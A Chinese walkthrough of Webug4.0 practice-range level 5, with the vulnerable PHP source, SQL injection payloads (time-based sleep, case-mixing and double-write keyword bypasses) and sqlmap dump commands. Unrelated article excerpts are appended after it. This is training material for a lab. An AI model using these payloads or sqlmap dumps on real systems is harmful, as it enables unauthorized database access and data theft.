Webug4.0靶场通关笔记05- 第5关SQL注入之过滤关键字

目录

一、代码审计

1、源码分析

2、SQL注入分析

(1)大小写绕过

(2)双写绕过 

二、第05关 过滤型注入

1、进入靶场

2、sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第5关过滤注入的渗透实战。

一、代码审计

1、源码分析

分析靶场源码,本关卡实现了一个带会话验证的 SQL 查询页面,经过详细注释后的代码如下所示。

<?php

// 引入公共配置文件,包含数据库连接等基础功能
require_once "../../common/common.php";

// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}

/**
 * 示例SQL注入Payload:
 * '1' or if(1=1, sleep(3),1); --+
 * 此Payload利用条件判断执行延时,检测数据库响应
 */
// 简单的黑名单过滤,尝试阻止包含"select"的恶意输入
$filter = array('select', 'SELECT');

// 处理搜索表单提交
if (isset($_POST["keyWordName"])) {
    if (!empty($_POST["keyWordName"])) {
        // 黑名单过滤逻辑:检测到敏感词时弹出警告
        if (in_array($_POST['keyWordName'], $filter)) {
            echo "<script>alert('请不要尝试注入危险函数')</script>";
        } else{
            // 存在SQL注入风险的查询:直接将用户输入拼接到SQL语句中
            $sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";
            
            // 执行查询并处理错误,但错误信息泄露了SQL结构
            $res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
        }
    }
}

// 引入HTML模板文件,显示查询结果
require_once TPMELATE."/post-injection.html";

 webug4靶场的第5关卡实现了如下功能。

  • 首先验证用户会话,确保只有登录用户才能访问。
  • 定义了一个简单的黑名单,尝试阻止包含 "select" 的恶意输入。
  • 接收用户通过表单提交的搜索关键词。
  • 将用户输入直接拼接到 SQL 查询语句中执行。
  • 查询成功执行结果为res,失败则输出包含 SQL 的错误信息。
  • 最终通过模板文件呈现搜索结果页面。 

2、SQL注入分析

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是http的方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别是select和SELECT两个关键字的过滤

$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {
    if (!empty($_POST["keyWordName"])) {
        if (in_array($_POST['keyWordName'], $filter)) {
            echo "<script>alert('请不要尝试注入危险函数')</script>";
        }
    }
}
  • 第一层判断isset($_POST["keyWordName"])
    确保参数 keyWordName 存在,避免 $_POST 数组下标越界。
  • 第二层判断!empty($_POST["keyWordName"])
    过滤空值,只处理用户实际提交的内容。
  • 第三层判断in_array(...)
    使用 in_array 函数检测用户输入是否严格等于 $filter 中的某个元素(区分大小写)

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框。

in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。当然,对于真实过滤的关键字的场景,我们可以使用大小写或者双写绕过,实现对第5关卡的注入。

(1)大小写绕过

SeLeCt 1 FROM users --

(2)双写绕过 

sselectelect 1 from users

二、第05关 过滤型注入

1、进入靶场

开启bp抓包,打开靶场并在搜索框内填入1然后点击搜索,如下所示。

http://192.168.71.1/webug4/control/sqlinject/filter_injection.php

2、sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件,如下所示。

其中webug05.txt内容如下所示。

POST /webug4/control/sqlinject/filter_injection.php?id=1 HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/webug4/control/sqlinject/filter_injection.php?id=1
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

keyWordName=1

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py,将随机大小写来绕过源码对select关键字的过滤

sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点。

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf。

本文详细介绍了如何利用Python语言结合MySQL数据库开发一个学生管理系统。通过这一过程,读者不仅能够掌握系统设计的基本思路,还能学习到如何使用Python进行数据库操作。该系统涵盖了用户界面设计、数据验证以及数据库的增删改查等多个键环节。 Python作为一种高级编程语言,以简洁易懂著称,广泛应用于数据分析、机器学习和网络爬虫等领域,同时也非常适合用于快速开发数据库管理应用。MySQL是一个广泛使用的开源系型数据库管理系统,具有轻量级、高性能、高可靠性和良好的编程语言兼容性等特点,是数据存储的理想选择。在本系统中,通过Python的pymysql库实现了与MySQL数据库的交互。 pymysql是一个Python第三方库,它允许程序通过类似DB-API接口连接MySQL数据库,执行SQL语句并获取结果。在系统中,通过pymysql建立数据库连接,执行SQL语句完成数据的增删改查操作,并对结果进行处理。 系统采用命令行界面供用户操作。程序开始时,提示用户输入学生信息,如学号、姓名和各科成绩,并设计了输入验证逻辑,确保数据符合预期格式,例如学号为1至3位整数,成绩为0至100分的整数。 数据库设计方面,系统使用名为“test”的数据库和“StuSys”表,表中存储学生的学号、姓名、各科成绩及总成绩等信息。通过pymysql的cursor对象执行SQL语句,实现数据的增删改查操作。在构建SQL语句时,采用参数化查询以降低SQL注入风险。 系统在接收用户输入时进行了严格验证,包括正则表达式匹配和数字范围检查等,确保数据的准确性和安全性。同时,提供了错误处理机制,如输入不符合要求时提示用户重新输入,数据库操作出错时给出相应提示。 在数据库操作流程中,用户可以通过命令行添加学生信息或删除记录。添加时会检查学号是否重复以避免数据冲突,删除时需用户确认。通过上述分析,本文展示了从
### 于 Web 安全靶场 Webug 4.0 中越权修改密码的解决方案 在 Web 应用程序的安全测试中,“越权访问”是一种常见的漏洞,指的是未经授权的用户能够执行超出其权限范围的操作。对于 Webug 4.0 靶场中的越权修改密码场景,以下是详细的分析与解决方法。 #### 背景描述 在 Webug 4.0 的设计中,存在一种典型的越权行为模式:攻击者可以通过篡改 HTTP 请求参数(如 `id` 字段),从而冒充其他用户的身份并修改目标用户的密码[^4]。这种漏洞通常源于应用程序未对操作对象的有效性和当前登录用户的权限进行严格验证。 --- #### 技术原理剖析 越权漏洞的核心原因在于服务器端缺乏有效的身份校验机制。具体表现为以下几点: 1. **请求参数未经验证** 当前用户发送的请求可能携带了非法的目标用户 ID 参数(例如 `id=0` 表示管理员)。如果服务端仅依赖前端传递的数据而未进一步确认该数据的真实性,则可能导致越权。 2. **缺少细粒度授权控制** 如果应用未能区分不同角色之间的权限边界,就容易让低权限用户获得高权限功能的使用权。 3. **会话管理不当** 即使实现了基于会话的身份认证,但如果会话状态没有绑定到具体的资源访问上下文中,也可能引发类似的越权问题。 --- #### 解决方案实现 针对上述问题,可以从以下几个方面入手来修复此漏洞: ##### 1. 强化后端逻辑校验 每次接收到涉及敏感操作(如更改密码)的请求时,应强制核对该操作是否由合法主体发起。这可通过比较当前已登录账户的信息与待处理记录所属实体的一致性完成。例如,在 PHP 或 Python 后端代码中加入如下片段以确保只有本人能重置自己的密码: ```php <?php // 假设 $_SESSION['user_id'] 存储着当前登录者的唯一标识符 if ($_POST['target_user_id'] != $_SESSION['user_id']) { die('Access Denied'); // 若两者不符则拒绝继续运行后续脚本 } ?> ``` 或者采用更现代化的语言框架编写类似防护措施: ```python from flask import session, request, abort def change_password(): target_user_id = int(request.form.get('target_user_id')) current_user_id = session.get('user_id') if target_user_id != current_user_id: abort(403) # 返回HTTP Forbidden响应码表示无权访问 # 正常业务流程... ``` 以上两段伪代码均体现了只允许用户对自己账号实施特定变更的原则。 ##### 2. 实施严格的 RBAC (Role-Based Access Control) 引入基于角色的访问控制系统有助于细化各类人员所能触及的功能模块及其内部细节。通过预先定义好的策略组合判定谁可以在何时何地做什么事情,进而减少因疏忽造成的安全隐患。 例如,在 MySQL 数据库表结构层面增加字段用于标记每条记录联的角色类别,并据此调整查询语句条件部分的内容以便筛选出符合条件的结果集之前先过滤掉不符合要求的部分。 ##### 3. 利用 CSRF Token 提升安全性 为了防止恶意站点诱导受害者提交伪造跨站请求(CSRF),建议结合随机生成且难以预测的一次性令牌(Token)一同嵌入至 HTML 表单之中并与对应 Session 绑定起来共同参与最终判断过程。这样即使黑客截获到了原始 POST 请求也无法轻易复制粘贴成功模拟真实交互动作。 --- #### 总结说明 综上所述,要彻底杜绝此类越权现象的发生除了加强开发阶段的设计考量之外还需要持续注最新威胁情报动态及时修补发现的新缺陷。同时也要提醒广大开发者时刻牢记安全第一的理念贯穿整个软件开发生命周期始终。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值